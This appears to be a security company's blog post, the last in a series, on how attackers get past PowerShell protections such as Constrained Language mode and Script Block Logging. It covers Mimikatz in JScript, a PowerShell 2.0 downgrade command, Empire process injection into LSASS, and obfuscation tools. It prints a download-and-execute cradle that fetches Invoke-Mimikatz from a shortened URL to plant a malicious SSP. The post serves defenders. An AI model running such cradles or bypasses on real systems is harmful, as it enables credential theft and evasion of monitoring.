How Attackers Are Bypassing PowerShell Protections

Bypassing PowerShell Protections

Now that we have explored various protections against malicious PowerShell, let’s look at how to get around every one of these PowerShell protections! Don’t worry, these PowerShell protections are still worth doing, and they will still make things harder on attackers and easier to detect. However, we need to be aware that they cannot stop everything. If an attacker wants to run Mimikatz and access your credentials, they will find a way. The more you know about how they may bypass these controls, the better prepared you will be. With that in mind, let’s take a look at a few interesting ways that attackers are able to get around native protections when looking to compromise your credentials.

No PowerShell, No Problem

Constrained Language mode and Script Block Logging won’t do much if an attacker chooses to avoid PowerShell altogether. One of the ways this has been done recently is with Mimikatz in JS. Casey Smith (SubTee) provides a JScript file, which can load Mimikatz. This is built using the DotNetToJScript utility that creates JScript files that can load .NET assemblies from memory.

The file itself looks like this and goes on for hundreds of lines. 

However, you can take this file and load it with the Windows Script Host executable and it will launch Mimikatz. You can see below using this to create a malicious SSP. 

There are other exploits of Windows Scripting Host as well as examples of JavaScript being used maliciously to target Windows systems, so it is important to have an understanding of how these attacks work.

PowerShell Downgrade Attacks

Constrained Language mode getting in the way? Try using PowerShell 2.0. There are ways in which attackers can use a downgraded version of PowerShell to avoid protections available in PowerShell 5.0. One simple way is to specify the version of PowerShell to execute when launching PowerShell from the command prompt.

By issuing the following command on a system with Constrained Language mode enabled, you can bypass those PowerShell protections:

PowerShell –Version 2 –Command [Your Command Here]

Here you can see this being used to create a malicious SSP with Mimikatz. 

If PowerShell 2.0 is disabled, there are alternatives. You can use the process injection capabilities built into Empire, which leverage ReflectivePick to load the necessary components to run PowerShell into any process without actually launching PowerShell itself.

By running the psinject module, you can choose which process to inject into and you will retrieve a new Empire agent from which you can launch any PowerShell command you wish, bypassing Constrained Language mode.

In my case, I have injected into the LSASS process running under the SYSTEM account. 

So it is advisable to disable versions of PowerShell you do not need, such as removing the PowerShell 2.0 feature from Windows. This is enabled by default in Windows 10. Be careful when doing so as it could cause compatibility issues with existing scripts. 

Hiding Our Tracks with Obfuscation

Another thing attackers can do to bypass detections is to obfuscate their code. This can make even Script Block Logging less useful for understanding exactly what’s going on within a PowerShell script. Daniel Bohannon has provided two very useful tools for PowerShell obfuscation: Invoke-Obfuscation and Invoke-CradleCrafter.

Let’s say we wanted to run the following script, which will download Invoke-Mimikatz from the web and then issue a command to create a malicious SSP:

IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -Command ‘”privilege::debug ” “misc::memssp”‘

If we were able to run that, there is a good chance it would be caught in the event log, even if it were encoded, thanks to Script Block Logging.

However, there are many tricks you can use to make scripts really hard to read and understand. Without going into too much detail, I used the Invoke-Obfuscation and Invoke-CradleCrafter modules to turn that script into this:

It’s nearly impossible to see what’s happening, but you can see the end result is I get my malicious SSP injected. And that’s not using encoding, so the Script Block Logging is still very well obfuscated: 

Trying to Keep Up

For every protection, there is a way around it. Luckily for security professionals, there are security researchers who are working to find these weaknesses and bring them to our attention. Security is always changing. By learning from tools like Mimikatz, you can stay as up-to-date as possible with PowerShell protections and make it as difficult as you can for attackers.

This is the final installment in our blog series, How Attackers Are Stealing Your Credentials with Mimikatz. To view the previous blogs, please click on the links below.

Post #1 – Automating Mimkatz with Empire & DeathStar
Post #2 – Lateral Movement with CrackMapExec
Post #3 – Ways to Detect and Mitigate PowerShell Attacks

To watch the Mimikatz Attacks webinar, please click here.

Don’t miss a post! Subscribe to The Insider Threat Security Blog here:

Name

Email*